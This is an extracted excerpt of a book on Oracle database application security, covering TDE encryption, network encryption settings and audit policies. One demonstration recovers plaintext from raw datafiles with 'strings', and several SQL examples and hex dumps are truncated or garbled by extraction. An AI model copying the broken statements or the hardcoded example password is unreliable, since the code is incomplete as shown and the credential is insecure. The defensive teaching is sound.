Tablespace Encryption We generally recommend doing tablespace encryption and, for Oracle EE 12.2 and newer, doing full database encryption. By putting all your data into encrypted tablespaces, you don’t risk a sensitive data element accidentally not being encrypted. If you have existing tablespaces, you can now encrypt them while they are online. This is huge: no longer do you have to take down the database to encrypt your tablespaces. Note the use of the ONLINE option and the FILE_NAME_CONVERT option. Because you are doing this online, Oracle will create new data files and securely delete the old data files. rlockard@orclpdb1 > alter tablespace enc_dat encryption 2 online encrypt 3 file_name_convert=('enc_dat01.dbf','enc_dat01_enc.dbf'); Tablespace ENC_DAT altered. Because the indexes are in an unencrypted tablespace, you need to encrypt the index tablespaces too; otherwise, you will be dealing with the spillage of sensitive information. rlockard@orclpdb1 > rlockard@orclpdb1 > alter tablespace enc_idx encryption 2 online encrypt 3 file_name_convert=('enc_idx01.dbf','enc_idx01_enc.dbf'); Tablespace ENC_IDX altered. Now when you put a data object into an encrypted tablespace, all the data that resides in the encrypted tablespace will be encrypted. However, if there are dependent objects such as indexes and materialized views that are outside an encrypted tablespace, then those objects will not be ­encrypted.

20

Chapter 1

Encryption

Let’s create a table that is in an encrypted tablespace and populate it with object_names from sys.dba_objects. rlockard@orclpdb1 > create table t (id number primary key, 2* object_name varchar2(128)) tablespace enc_dat; Table T created. rlockard@orclpdb1 > insert into t (select t_seq.nextval, 2 object_name from sys.dba_objects); 72,829 rows inserted. rlockard@orclpdb1 > commit; Commit complete. Now we’re going to create an index on table t, column object_name, and put it in the idx tablespace that is not encrypted. rlockard@orclpdb1 > create index t_idx on 2 t(object_name) tablespace idx; Index T_IDX created. rlockard@orclpdb1 > alter table t move tablespace enc_dat; Table T altered. Using the strings command, you are going to grep for DBA. You know there are object names out there that start with DBA. As you can see, you can extract the unencrypted data from the index tablespace idx. [oracle@localhost orclpdb1_book]$ strings idx01.dbf | grep DBA CTX_FEEDBACK_TYPE CTX_FEEDBACK_ITEM_TYPE CTX_FEEDBACK_ITEM_TYPE DBA_APPLY_ERROR_MESSAGES Again, you can see there is still unencrypted data that is outside of the enc_dat tablespace. We need to move the index that resides in the idx tablespace into the enc_idx tablespace. But as you can see, we still have

21

Chapter 1

Encryption

ghost data residing in the idx01.dbf data file. Again, we are going to need to drop the idx tablespace after we move all the remaining objects out of it. rlockard@orclpdb1 > alter index t_idx rebuild tablespace enc_idx; Index T_IDX altered. [oracle@localhost orclpdb1_book]$ strings idx01.dbf | grep DBA CTX_FEEDBACK_TYPE CTX_FEEDBACK_ITEM_TYPE CTX_FEEDBACK_ITEM_TYPE DBA_APPLY_ERROR_MESSAGES DBA_APPLY_ERROR_MESSAGES DBA_APPLY_ERROR

T ablespace Encryption vs. Column Encryption Performance Is there a performance advantage to using column encryption over tablespace encryption? Let’s set up a little test. We’ll create a table with an encrypted column and force a full table scan. Then we’ll set up an identical table in an encrypted tablespace and perform the same test. In this example, column n1 is a number that is encrypted using AES256. If you don’t put in the encryption algorithm, then Oracle will default to using AES196. rlockard@orclpdb1 > create table t (id number primary key, 2 n1 number encrypt using 'aes256'); Table T created. Now we’re going to create a sequence and populate the table with a million rows of data. We are doing this to test the time to calculate ­decrypting 1,000,000 data elements. We will then compare the time against using tablespace encryption.

22

Chapter 1

Encryption

rlockard@orclpdb1 > create sequence t_seq; Sequence T_SEQ created. rlockard@orclpdb1 > insert into t ( 2 select t_seq.nextval, 3 sys.dbms_random.value(0,50000) 4 from dual 5 connect by level commit; Commit complete. rlockard@orclpdb1 > set timing on rlockard@orclpdb1 > select avg(n1) from t; AVG(N1) ---------25006.3503 Elapsed: 00:00:05.964 It takes 5.964 seconds to decrypt and calculate the average of n1. Now let’s do the same test with an encrypted tablespace. We have two encrypted tablespaces ready to go; we will use the enc_dat tablespace. rlockard@orclpdb1 > select tablespace_name, encrypted 2 from sys.dba_tablespaces 3* where encrypted = 'YES'; TABLESPACE_NAME ENC ----------------- ------------- --ENC_DAT YES ENC_IDX YES rlockard@orclpdb1 > create table t (id number primary key, 2 n1 number) tablespace enc_dat;

23

Chapter 1

Encryption

Table T created. Elapsed: 00:00:00.049 rlockard@orclpdb1 > insert into t ( 2 select t_seq.nextval, 3 sys.dbms_random.value(0,50000) 4 from dual 5 connect by level commit; Commit complete. Elapsed: 00:00:00.011 rlockard@orclpdb1 > select avg(n1) from t; AVG(N1) ---------24973.6492 Elapsed: 00:00:00.065 rlockard@orclpdb1 > Well, what do you know? It took 0.065 seconds to calculate the average of a million rows from an encrypted tablespace versus 5.964 seconds to do the same thing with an encrypted column.

External Table Encryption TDE offers the ability to encrypt external table columns using the oracle_ datapump driver. Before we go too far, let’s get some test data together. We are going to use the HR.EMPLOYEES table, add the column SSN, and then populate SSN with random data.

24

Chapter 1

Encryption

rlockard@orclpdb1 > alter table hr.employees add (ssn varchar2(11)); Table HR.EMPLOYEES altered. rlockard@orclpdb1 > update hr.employees 2 set ssn = ceil(sys.dbms_random.value(0,9)) || 3 ceil(sys.dbms_random.value(0,9)) || 4 ceil(sys.dbms_random.value(0,9)) || 5 '-' || 6 ceil(sys.dbms_random.value(0,9)) || 7 ceil(sys.dbms_random.value(0,9)) || 8 '-' || 9 ceil(sys.dbms_random.value(0,9)) || 10 ceil(sys.dbms_random.value(0,9)) || 11 ceil(sys.dbms_random.value(0,9)) || 12* ceil(sys.dbms_random.value(0,9)); 107 rows updated. rlockard@orclpdb1 > commit; The HR.EMPLOYEES table is in the users tablespace that is unencrypted. First, we are going to create an external table using HR.EMPLOYEES and encrypt the SSN column. Then, we are going to enter a password so the external table can be opened by other Oracle databases. As you can see from the hex dump, the columns email and SSN are encrypted. In this example, we used the full encrypt parameters, specifying both the algorithm and the password for email and SSN. create table employees_ext (employee_id, first_name, last_name, email encrypt using 'AES256' identified by SecretPassword, ssn encrypt using 'AES256' identified by SecretPassword) organization external 25

Chapter 1

Encryption

(type oracle_datapump default directory "DATA_PUMP_DIR" location('employees_ext.dat') ) REJECT LIMIT UNLIMITED as select employee_id, first_name, last_name, email, ssn from hr.employees; 000025e0 05 03 c2 02 |......Neena.Koch| 000025f0 68 61 72 34 |har4!.....[..42Z| 00002600 f6 27 f8 00 |.'...8s..D.....-| 00002610 6e 80 b9 f3 |n....&vl...Nv..I| 00002620 54 b8 54 e1 |T.T..J&.4.|.}...| 00002630 2c ec b0 37 |,..7.F.....IW...| 00002640 a4 74 46 06 .^......o..| 00002650 7b 6a 2e 61 aH#{..._8. create table employees_ext 2 (employee_id, 3 first_name, 4 last_name, 5 email encrypt using 'AES256' identified by SecretPassword, 6 ssn encrypt) 7 organization external 8 (type oracle_datapump 9 default directory "DATA_PUMP_DIR" 10 location('employees_ext.dat') 11 ) 12 REJECT LIMIT UNLIMITED 13 as select employee_id, 14 first_name, 15 last_name, 16 email, 17 ssn 18 from hr.employees; Table EMPLOYEES_EXT created.

 here Can Data Spill Out in Plain Text When W Using External Tables? If you have encrypted data and create an external table from it and don’t specify to encrypt any of the columns, then the table will be created in plain text. We’ll start with moving the HR.EMPLOYEES table to an encrypted

28

Chapter 1

Encryption

tablespace and then create an external table from it. As you can see from the hex dump, the external table is now unencrypted. rlockard@orclpdb1 > alter table hr.employees 2 move online tablespace enc_dat; Table HR.EMPLOYEES altered. Now create an external table from the hr.employees table, but don’t specify any encryption. You’ll notice that the external table is now stored in plain text. rlockard@orclpdb1 > create table employees_unenc 2 (employee_id, 3 first_name, 4 last_name, 5 email, 6 ssn) 7 organization external 8 (type oracle_datapump 9 default directory "DATA_PUMP_DIR" 10 location('employees_unenc.dat') 11 ) 12 REJECT LIMIT UNLIMITED 13 as select employee_id, 14 first_name, 15 last_name, 16 email, 17 ssn 18 from hr.employees; Table EMPLOYEES_UNENC created. 000026f0 6c 06 46 61 76 69 65 74 07 44 46 41 56 49 45 54 |l.Faviet.DFAVIET|

29

Chapter 1

Encryption

00002700 0b 36 38 31 |.681-­73-­5331 commit; Commit complete. rlockard@orclpdb1 > create index t_idx on t(object_name) 2* tablespace idx; Index T_IDX created. rlockard@orclpdb1 > alter table t 2 modify (object_name encrypt no salt); Table T altered. Look for strings in the index tablespace; here we find the object names that were encrypted in the previous command. [oracle@localhost orclpdb1_book]$ strings idx01.dbf | grep DBA DBA_APPLY_ERROR_M DBA_CUBE_ATTR_UNIQUE_KEYS DBA_CUBE_ATTR_MAPPINGS DBA_CUBE_ATTR_MAPPINGS DBA_CUBE_ATTRIBUTES DBA_CUBE_ATTRIBUTES DBA_CUBES DBA_CUBES DBA_CREDENTIALS 32

Chapter 1

Encryption

How to Fix It How do you get rid of this ghost data? It’s not really that hard. Move all objects in the tablespace to another encrypted tablespace and then drop the old tablespace without dropping the data files. After you’ve dropped the tablespace, use a utility like shred on the data files to destroy them. If you are using ASM, set the tablespace to not grow. Create a table with one column and pctused 100 percent. Fill the table several times with random data and then do a rebalance operation.

Column Encryption Ghost data from column encryption typically happens when there are dependant objects on a column, such as indexes and materialized views. If you encrypt the column, the dependant columns will be encrypted also; however, remember that Oracle just flips a bit on the block to mark it free and may not overwrite the old block.

Tablespace Encryption If you are moving data from an unencrypted tablespace to an encrypted tablespace, then when the blocks in the old tablespace are marked free, the data still exists on disk. However, in Oracle 12.2 and newer, when you do offline encryption, the data blocks are overwritten. If you do online encryption, then the ghost data is overwritten securely. When you do offline tablespace encryption, the data is also overwritten securely.

Full Encryption If you fully encrypt the database, you’re much safer. In Oracle 12.2 and newer, you can encrypt the entire database.

33

Chapter 1

Encryption

Online Tablespace Encryption When you perform online encryption of a tablespace, you need to have the free disk space of at least the largest data file. This is because of Oracle writing the data to a new location on disk. Unencrypted data that existed is overwritten with random data to remove any traces of ghost data.

External Tables We discussed this earlier when talking about external table encryption. You can send encrypted data to an external table, and if you don’t specifically encrypt the data, then the data will be written to disk in plain text. Technically this would be called “spillage,” not ghost data as the data has spilled outside of it’s protected environment. If this should happen, drop the external table and use a utility like Linux shred to destroy the unencrypted data.

Algorithms The algorithms that are available to use in TDE are as follows. We always recommend using the strongest algorithm you can legally use. The current banking industry standard is to use AES256. Algorithm

Key Size

Parameter

Advanced Encryption Standard (AES)

128 192 256

AES128 AES192  (default) AES256

ARIA

128 192 256

ARIA128 ARIA192 ARIA256

Note

Meets Korean standards

(continued) 34

Chapter 1

Encryption

Algorithm

Key Size

Parameter

Note

SEED

128

SEED128

Meets Korean standards

GOST

256

GOST256

Meets Russian standards

Triple Encryption Standard

168

3DES168

RMAN RMAN does block copying, but you also may need to encrypt your backups before they leave your site. You have three algorithms available to use: AES128, AES192, and AES256. There are also three modes of RMAN encryption, TRANSPARENT, PASSWORD, and DUAL, as shown in the following table: RMAN Mode

Note

TRANSPARENT

The Oracle keystore must be open when you make the RMAN backup, and if the keystore is open when you do the restore, then the restore is done transparently.

PASSWORD

The password must be provided when doing the backup and when doing the restore. To use password encryption, you need to specify SET ENCRYPTION ON IDENTIFIED BY ONLY in the rman command.

DUAL

Dual mode supports both the keystore and the password. This is useful if you need to use a backup for both restoring your current environment and copying the backup to another database server. To use dual mode, you need to specify the following: SET ENCRYPTION ON IDENTIFIED BY If the keystore is open (and because we did not add the ONLY part of the command), the RMAN backup will use both the keystore and the password. 35

Chapter 1

Encryption

To configure RMAN to use encryption, use the following: CONFIGURE ENCRYPTION FOR DATABASE ON; CONFIGURE ENCRYPTION ALGORITHM 'AES256' To get a list of the encryption algorithms RMAN supports and determine what is the default algorithm, execute the following query: rlockard@orclpdb1 > select algorithm_name, is_default 2 from v$rman_encryption_algorithms; ALGORITHM_NAME IS_ -------------------- --AES128 YES AES192 NO AES256 NO

Data Pump We use Data Pump all the time to refresh lower environments such as development, test databases, and to copy the files to servers and workstations. You need to be cautious with your backups. expdp has three encryption options you should be aware of. If you do not use an encryption option, then the data will be saved in plain text, and you will get an ORA39173 warning that the encrypted data was stored unencrypted in the dump file. The kicker is that there is no audit trail on this warning.

36

Chapter 1

Encryption

Your encryption options are as follows: expdp Option

Option Parameter

Note

encryption

ALL DATA_ONLY ENCRYPTED_ COLUMNS_ONLY METADATA_ONLY NONE

When ALL is used, the dump file will be encrypted. When ENCRYPTED_COLUMN_ONLY is used, then only columns that are encrypted will be written to the dump file in encrypted format. When DATA_ONLY is used, the dump file data only will be encrypted. When METADATA_ONLY is used, then only the metadata will be encrypted. When NONE is used, then nothing will be encrypted in the dump file.

ENCRYPTION_ ALGORITHM

AES128 AES192 AES256

The compatible parameter must be set to 11.0.0 or higher. This cannot be used with ENCRYPTION=ENCRYPTED_ COLUMNS_ONLY.

(continued)

37

Chapter 1

Encryption

expdp Option

Option Parameter

Note

ENCRYPTION_ MODE

DUAL PASSWORD TRANSPARENT

If the ENCRYPTION parameter is set and the wallet is open, then the mode is TRANSPARENT. If ENCRYPTION_MODE is PASSWORD and the wallet is open, then the mode is DUAL. If ENCRYPTION_MODE is PASSWORD and the wallet is closed, then the mode is PASSWORD. If DUAL, then impdp will use either the wallet or the password to import the data. If PASSWORD, then impdp will require a password to import the data. If TRANSPARENT, then the wallet must be available to impdp to import the data.

ENCRYPTION_ PASSWORD

This sets the password to impdp to decrypt the dump file.

ENCRYPTION_ PWD_PROMPT

YES NO

If set to YES, then impdp will prompt you for the password. If set to NO, then impdp will not prompt you for the password. You must use the ENCRYPTION_PASSWORD parameter with the impdp command.

38

Chapter 1

Encryption

Network Encryption and Integrity A big part of the attack surface is the network. As data moves over the network, it touches many devices. If those devices are compromised or there is a network sniffer on the network, you may have a problem. It’s surprisingly easy to configure network encryption. Yet, we have worked with many clients who don’t encrypt their internal network; they frequently claim they are safe because they are behind a firewall and their networks are segmented. Network encryption can use the Advanced Encryption Standard algorithm. Your organization should have a standard algorithm that is used for network communications. In fact, we recommend using the strongest algorithm you are authorized to use. Session keys are negotiated using the Diffie-Hellman key algorithm. Setting agreed upon keys over an insecure network has been historically difficult to accomplish. Oracle uses the Diffie-Hellman key algorithm to set an agreed upon random number as the key to encrypt and decrypt data. Discovering or deducing the key by sniffing network traffic is not feasible.

Configure You configure the network for sqlnet encryption on both the client and the server. This is done in the sqlnet.ora file. #sqlnet.ora Network Configuration File: /opt/oracle/ product/18c/dbhome_1/network/admin/sqlnet.ora #Generated by Oracle configuration tools. NAMES.DIRECTORY_PATH= (TNSNAMES, HOSTNAME) # #encryption #

39

Chapter 1

Encryption

SQLNET.ENCRYPTION_SERVER = required SQLNET.ENCRYPTION_CLIENT = required SQLNET.CRYPTO_SEED= 'dbelSmfqeLJTSeiRmLdCxBFITwKMyZGwcOmVNJujik MKhxcdvKIobwVxXoxQMmnHZvpgocAVwqNfzilPG' SQLNET.ENCRYPTION_TYPES_CLIENT=(AES192,AES128) SQLNET.ENCRYPTION_TYPES_SERVER=(AES256,AES192,AES128) ADR_BASE=/opt/oracle # #checksum # SQLNET.CRYPTO_CHECKSUM_CLIENT=required SQLNET.CRYPTO_CHECKSUM_SERVER=required SQLNET.CRYPTO_CHECKSUM_TYPES_CLIENT=(SHA512) SQLNET.CRYPTO_CHECKSUM_TYPES_SERVER=(SHA512) # #tracing # TRACE_DIRECTORY_SERVER=/opt/oracle/oradiag_oracle/diag/server/ network/trace TRACE_DIRECTORY_CLENT=/opt/oracle/oradiag_oracle/diag/client/ network/trace trace_level_server=16 trace_level_client=16

40

Chapter 1

Encryption

There are a few parameters you need to be aware of that are specific for the server and the client, as follows: Parameter

Valid Values

Note

SQLNET. ENCRYPTION_ SERVER

ACCEPTED REQUESTED REQUIRED REJECTED

Turns encryption on and off for the server. The combination between the server parameter and the client parameter defines whether the connection will be encrypted, not encrypted, or result in a connection failure.

SQLNET. ENCRYPTION_ CLIENT

ACCEPTED REQUESTED REQUIRED REJECTED

Turns encryption on and off for the client. The combination between the server parameter and the client parameter defines whether the connection will be encrypted, not encrypted, or result in a connection failure.

SQLNET. ENCRYPTION_ TYPES_SERVER

AES256 AES192 AES128 3DES168 3DES112 DES DES40 RC4_256 RCR_128 RCR_56 RC4_40

These are the encryption algorithms that the server can use. You can list multiple encryption algorithms in the parameter sqlnet.encryption_types_ server=(AES256,AES192). In this case, the server will request AES256 first from the client; if AES256 is not available on the client, then the server will request the client use AES192.

(continued)

41

Chapter 1

Encryption

Parameter

Valid Values

Note

SQLNET. ENCRYPTION_ TYPES_CLIENT

AES256 AES192 AES128 3DES168 3DES112 DES DES40 RC4_256 RCR_128 RCR_56 RC4_40

These are the encryption algorithms that the client can use. You can list multiple encryption algorithms in the parameter sqlnet.encryption_types_ client=(AES256,AES192). In this case, the client will request AES256 first from the client; if AES256 is not available on the server, then the client will request the server use AES192.

SQLNET. CRYPTO_SEED

Random string

The max length is 256 characters.

The following are the settings you’ll need to use to setup SQLNET encryption:

42



REQUIRED: Applies to both encryption and the integrity checksum. The REQUIRED option provides the greatest amount of network security. This will always turn sqlnet encryption on unless the connecting node uses the option REJECTED. If REJECTED is selected on the connecting node, then the connection will be dropped with an ORA-12660, “Encryption or crypto-­ checksumming parameters incompatible” error.



REQUESTED: Applies to both encryption and the integrity checksum. If network security is not required, you can specify REQUESTED. If the other node (client or server) has REQUIRED, REQUESTED, or ACCEPTED and there is

Chapter 1

Encryption

a matching encryption algorithm, then encryption will be enabled. if either node has REQUIRED and the other REQUESTED and there is no matching encryption algorithm, then the connection will fail. •

ACCEPTED: Applies to both encryption and the integrity checksum. If network security is not required, you can specify ACCEPTED. If the other node (client or server) has REQUIRED or REQUIRED and there is a matching encryption algorithm, then network encryption will be enabled. If the other node has REQUIRED and there is no matching encryption algorithm, then the connection will fail. If the other node has REQUESTED or REJECTED and there is no matching encryption algorithm, then the connection will be created unencrypted.



REJECTED: Applies to both encryption and the integrity checksum. The REJECTED option provides the least amount of network security. This parameter will turn off network encryption. If the other node (client or server) has REQUIRED, then the connection will fail.

Cross-Border Issues This is an issue if your data is going to cross international borders. Be sure to check the laws in the country the data is crossing into or through. Some countries have laws on what encryption algorithms and the key management need to use. Because laws are constantly changing and we’re not attorneys, we’re not going to go into the laws of specific countries. Just be aware of this risk and research the laws before transmitting encrypted data across international borders.

43

Chapter 1

Encryption

Integrity There are two types of man-in-the-middle attacks that network integrity will protect you from. The first is a replay attack. This is where a set of packets are re-sent to a server or client. This would be like in an electronic voting system where a vote is sent many times to skew the results. The other type of attack you are protected from is a data modification attack. This is like intercepting a vote from an electronic voting system and changing the vote. The parameters you can put into your sqlnet.ora file are as follows: PARAMETER

Valid Options Note

SQLNET.CRYPTO_ CHECKSUM_SERVER

REQUESTED ACCEPTED REQUIRED REJECTED

The option combinations are the same as for network encryption.

SQLNET.CRYPTO_ CHECKSUM_CLIENT

REQUESTED ACCEPTED REQUIRED REJECTED

The option combinations are the same as for network encryption.

SQLNET.CRYPTO_ CHECKSUM_TYPES_ SERVER

MD5 SHA1 SHA256 SHA384 SHA512

These are the hashing algorithms the server will use. You can define more than one hashing algorithm in the following parameter: sqlnet.crypto_checksum_types_ server =(SHA512,SHA384) In this case, the server will first request from the client to use the SHA512 algorithm; if that is not available, then the server will request the client use the SHA384 algorithm.

(continued) 44

Chapter 1

PARAMETER

Valid Options Note

SQLNET.CRYPTO_ CHECKSUM_TYPES_ CLIENT

MD5 SHA1 SHA256 SHA384 SHA512

Encryption

These are the hashing algorithms the client will use. You can define more than one hashing algorithm in the following parameter: sqlnet.crypto_checksum_types_ client =(SHA512,SHA384) In this case, the client will first request the client use the SHA512 algorithm; if that is not available, then the client will request the server use the SHA384 algorithm.

45

CHAPTER 2

Audits Auditing is one of the tools in your arsenal to learn about what has happened in your system. Has a hacker been in the system for months or years and nobody knew? Auditing happens after an event; therefore, a daily review of audit reports is critical to the safety of your system. Audits can be used to record events that happened on database objects, such as update, insert, delete, and select operations on tables; execution of PL/ SQL code; logon information; and more. You need to sit down and think about what actions you need to audit. If you audit too much, then you risk getting buried under too much information. If you don’t audit enough, then you risk missing something important. Your organization’s needs will drive what you audit and the process for dealing with audit events. One of our customers receives an audit report every morning and sends out e-mails that ask for ticket numbers for audit events. If there is a production emergency, there is a process to follow: fix the problem and then open a ticket and take it to change control. Well, one time we had an event that exposed a problem with the customer’s audit model. After we were done fixing an issue, we asked a co-worker what the ticket number was so we could send it to change control, do an internal audit, and put some notes in it. He provided a ticket number, so we sent it on and opened the ticket to add some notes. The ticket was for a password change. We asked the co-worker about this; he told me they never read the tickets, so don’t worry about it. If you’re reviewing audits and matching up ticket © Osama Mustafa, Robert P. Lockard 2019 O. Mustafa and R. P. Lockard, Oracle Database Application Security, https://doi.org/10.1007/978-1-4842-5367-0_2

47

Chapter 2

Audits

numbers, make sure the ticket number matches what was actually done. This is a big problem in our industry. We have a lot of people hitting the checkboxes and not actually doing their jobs.

Ways to Audit a Database There are many techniques to audit a database, including through API code, database triggers, normal audits, unified audits, and fine-grained auditing. Each audit method has advantages and disadvantages. Anytime you have to write code to capture audit information, you risk introducing bugs that may impact the quality of your audit.

Application API Code You can customize your audit using an API that captures the values needed and then stores the audit data. The power of this is that you can make the API call at key points in the application, capturing the actions of your users. This is highly configurable; however, if a developer does not include the API call, the action will not be recorded. Actions through tools such as sqlplus, Oracle Developer, and sqlcl will not capture audit events. Privileged users may be able to change the audit data. Because an API is code, it will need to be maintained.

Auditing with Trigger Code The power behind auditing with triggers is the ability to separate the audit events from the application. Every time a trigger event happens, the event will be recorded. We’ve used database triggers to record value changes to key tables in the database. Understand that a history table is not an audit record. There are a few things that history tables do not capture, such as 48

Chapter 2

Audits

the program used in the event, the user who made the change, and the source of the change. The downside of auditing with trigger code is you’ll be storing audit data in different tables. Therefore, to get a complete picture of your audit, you’ll need to span multiple tables. Because a trigger is PL/SQL code, it will need to be maintained, and there may be bugs.

Normal Audit Many of us have audit reports that have been working well for years. If you have not reviewed your audit needs, you may be exposed to new threats. We routinely review our audit report scripts to see if there is something we’re missing or if there is something that we should filter out. In Oracle 11.2, there were 180 different standard audit actions; in Oracle 18.3, there are 239 standard audit actions. A normal audit stores the audit information in multiple locations, such as sys.aud$ for normal audits and sys.dba_fga_audit_trail for fine-­ grained audits. Your audit data can also be stored in the database, sent to the file system, or sent to syslog. There is one system we’re responsible for that has a requirement for the audit data to be saved to a secure location such as syslog and the auditors require a report every morning of the previous day’s activity. If you configure an audit to be sent to syslog, you can’t run a query against sys.aud$ to generate the report. We overcame this limitation by first generating the report the auditors required and then using sqlcl, spooled off sys.aud$ to a CSV file using sqlcl. The cron job then copies the CSV file to secure storage. It’s not the best solution; we would like to have the ability to send the audit data to multiple locations. We improved this by using IBM QRadar to read the audit data; that way, we still have audit data sitting in the database that we can use to create reports.

49

Chapter 2

Audits

Unified Audit A unified audit solves the problem of having your audit data stored in different places. It also gives you the ability to fine-tune what is audited by creating audit policies. Like in fine-grained auditing policies, you can use the sys_context function when creating policies. Note that we frequently use the sys_context function to extract information about a user’s session. This is useful for determining whether an event needs to be audited. Was the connection made from a specific set of IP addresses? Did the user who performed the action have a specific role? How did the user authenticate to the database? There are many things we can test for using sys_context that will give us the flexibility to create an audit record when needed. So, anything sys_context can test, you can audit for. A unified audit does not write immediately to the database. You have to turn that feature on, like so: begin   sys.dbms_audit_mgmt.set_audit_trail_property(     audit_trail_type           => dbms_audit_mgmt.audit_trail_ unified,     audit_trail_property       => dbms_audit_mgmt.audit_trail_ write_mode,     audit_trail_property_value => dbms_audit_mgmt.audit_trail_ immediate_write   ); end; / Why is this? Well, to be honest, we don’t know. An educated guess is that this is for performance. We frequently have audit requirements to learn if a user is connecting outside of the trusted path. If application users start connecting to the 50

Chapter 2

Audits

­ atabase using a tool other than those authorized, then you will need d to find out what is happening. Of course, system administrators will be connecting to the database using tools such as sqlplus and sqlcl. Here is how to create an audit policy that will record an audit record if the user does not connect using a specific application: create audit policy tool_connect_pol actions logon when 'instr(upper(sys_context,("userenv", "CLIENT_PROGRAM_ NAME")),"") = 0' evaluate per session; -- enable the audit policy audit policy tool_connect_pol; Say you have information that is sensitive, and company policy is if accessing this information, the user should connect using SSL. The following policy will create an audit record if hr.employees has an update or delete when the user did not connect using SSL authentication. In this instance, we are using sys_context and instr to test if the authentication method is SSL. If the user did not connect using SSL, then an audit record would be written on updates and deletes. Here we create an audit policy that will record an audit record if a user updates or deletes on hr.employees if they have not authenticated using SSL. create audit policy hr_upd_del_employees_pol actions update on hr.employees, delete on hr.employees when 'instr(sys_context ("userenv", "authentication_ method"),"SSL") = 0' evaluate per session; -- enable the audit policy audit policy hr_upd_del_employees_pol;

51

Chapter 2

Audits

Fine-Grained Auditing Fine-grained auditing gives you more choices for when to trigger an audit event. Any test you can code can be used to trigger an audit. For example, we can execute the audit by testing the value a column returns using the audit_condition parameter. You can also create a handler_module, which is a PL/SQL procedure. We’ll frequently use this to trigger an e-mail to alert a team about specific audit events. The following is how to turn on fine-grained auditing (FGA). This will create an audit record if a select is done on the hr.employees table and the salary is greater than 150,000. begin   sys.dbms_fga.add_policy(      object_schema      =>      object_name        =>      policy_name        =>      audit_condition    =>      audit_column       =>      handler_schema     =>      handler_module     =>      enable             =>      statement_types    =>      audit_column_opts  =>      ); end; /

52

'hr', 'employees', 'upper_salary_check', 'salary > 150000', 'salary', NULL, NULL, TRUE, 'SELECT', SYS.DBMS_FGA.ANY_COLUMNS

Chapter 2

Audits

/*This is redundant, when we created the policy, we enabled it with the enable parameter. So you don't need to use sys.dbms_ fga.enable_policy procedure unless you have disabled it. */ begin   sys.dbms_fga.enable_policy(     object_schema   => 'hr',     object_name     => 'employees',     policy_name     => 'upper_salary_check',     enable          => TRUE   ); end; / /* Let's query the table and check the audit trail to see if it works. This will return all the rows, so we know it will trigger an audit event.*/ select * hr.employees; /* check the audit trail for the audit. Note, if you look above, you'll see that the policy name is lower case; however, we query for a policy name in upper case. */ select * from unified_audit_trail where fga_policy_name = 'UPPER_SALARY_CHECK';

C  omparing Methods Table 2-1 summarizes the pros and cons of each auditing method.

53

Chapter 2

Audits

Table 2-1.  Pros and Cons of Each Audit Method Audit Method Pros

Cons

Application API Auditing with application code code is flexible. You can program and record custom values in a location that you define.

Because it’s application code, there will be bugs; therefore, it will require maintenance. There exists the chance that developers will not always include the audit API calls. A privileged user may be able to change the audit data. Use of tools such as sqlplus, Oracle Developer, and sqlcl will not capture audit events. Audit data may span multiple tables; therefore, you’ll need to get information from multiple tables to get a complete audit picture.

Trigger code

Because triggers use code that is written, there will be bugs; therefore, it will require maintenance. A privileged user may be able to change the audit data. Audit data may span multiple tables; therefore, you’ll need to get information from all the tables to get a complete audit picture.

Triggers will always fire when the conditions for the trigger are met.

(continued)

54

Chapter 2

Audits

Table 2-1.  (continued) Audit Method Pros

Cons

Normal audit

Auditing is not dependant Audit data is written to different on application code. locations. By default the sys.aud$ table resides in the system tablespace. This table can grow substantially.

Unified audit

1) Does not depend on sp.ora parameters. 2) All audited components (FGA, SYS, etc.) are stored in one location in the sysaud schema. 3) Performance increases when writing the audit data to an internal table. 4) Named audit policies are highly configurable.

Requires a lot of forethought to set up the audit policies properly. This is a pretty weak con, though; you should always put thought into your audit policies.

Fine-grained audit

FGA gives you the ability to fine-­tune your audit based on any number of factors.

Because there can be code involved, there will be bugs; therefore, it will require maintenance.

What Happened Yesterday Every day, we review a set of reports of the last 24 hours. This gives us the ability to detect unusual activity and address it before it gets out of hand.

55

Chapter 2

Audits

A  udit Reports We’ve said this many times: you need to review the audit reports every morning. It’s a boring and tedious job, but it must be done. If something happens, it’s much better to be on top of what is happening in your database than to have your chief information officer tell you there is a problem. Here is the simplest code to get everything from yesterday. Although this might be useful, we recommend sorting the results based on either object_action or username. select * from unified_audit_trail where utl.timestamp_to_date(event_timestamp) >= trunc(sysdate-1);

 onnections by os_username, username, terminal, C and userhost You really need to know who is connecting to your database. We have detected people connecting to the application schema to do their work (something that should never happen). We have also found people who have shared their account credentials using this policy. A key point in auditing is accountability. If you don’t know who performed an action, then your audit trail is not doing you any good. We’ve seen many ways people will either intentionally or unintentionally avoid audit. Some of the ways people will avoid audit is by sharing login information and connecting to the database by using someone else’s application credentials. In the case of users sharing login information, there may be an issue with users not having the appropriate privileges to do their job. For example, we had a situation where 12 people were sharing one person’s account because that person had the permissions required to do their job. We resolved this by doing a privilege analysis (see Chapter 3), creating the proper roles, and then granting those roles to the users. 56

Chapter 2

Audits

You should create an audit policy to record logon events and enable the audit policy, as shown here: create audit policy aud_logon_pol actions logon; -- enable the logon policy audit policy aud_logon_pol; Shared user accounts can be detected by running audit reports that include os_username, event_timestamp, terminal, and userhost. If you see repeating dbusername values for any of the other columns, there is a strong likelihood that users are sharing logon credentials. We have a ­standard report we run in the mornings that is an aggregate of os_ username, dbusername, terminal, and userhost for the past 24 hours. This will tell you whether any login credentials are being shared or someone is using the application account. select os_username, dbusername, terminal, userhost, action_ name, return_code, count(*) from unified_audit_trail where utl.timestamp_to_date(event_timestamp) > trunc(sysdate-1)   and action_name = 'LOGON'   and return_code = 0 group by os_username, dbusername, terminal, userhost, action_ name, return_code order by dbusername, os_username /

57

Chapter 2

Audits

TIMESTAMP TO DATE CONVERSION To convert a timestamp to a date, use the following function in your utility package: create or replace package utl as function timestamp_to_date(ts_value timestamp) return date; end utl; create or replace package body utl as function timestamp_to_date(ts_value timestamp) return date is begin   return to_date(to_char(ts_value,'MONDDRRRR'),'MONDDRRRR'); end timestamp_to_date; end utl;

Invalid Login Attempts This tells you whether there is a user who requires more training and also detects whether someone is trying to connect to the system on an unauthorized account such as sys, system, an application account, and so on. select os_username, dbusername, terminal, userhost, count(*) from unified_audit_trail where utl.timestamp_to_date(event_timestamp) > trunc(sysdate-1)   and action_name = 'LOGON'   and return_code != 0 group by os_username, dbusername, terminal, userhost / oracle HR_BOSS     pts/1 localhost.localdomain      1 oracle HR_BOSS     unknown      localhost    1 Rob    RLOCKARD    unknown      owidev2      3 oracle RLOCKARD    UNKNOWN      localhost.localdomain     3

58

Chapter 2

oracle oracle oracle oracle

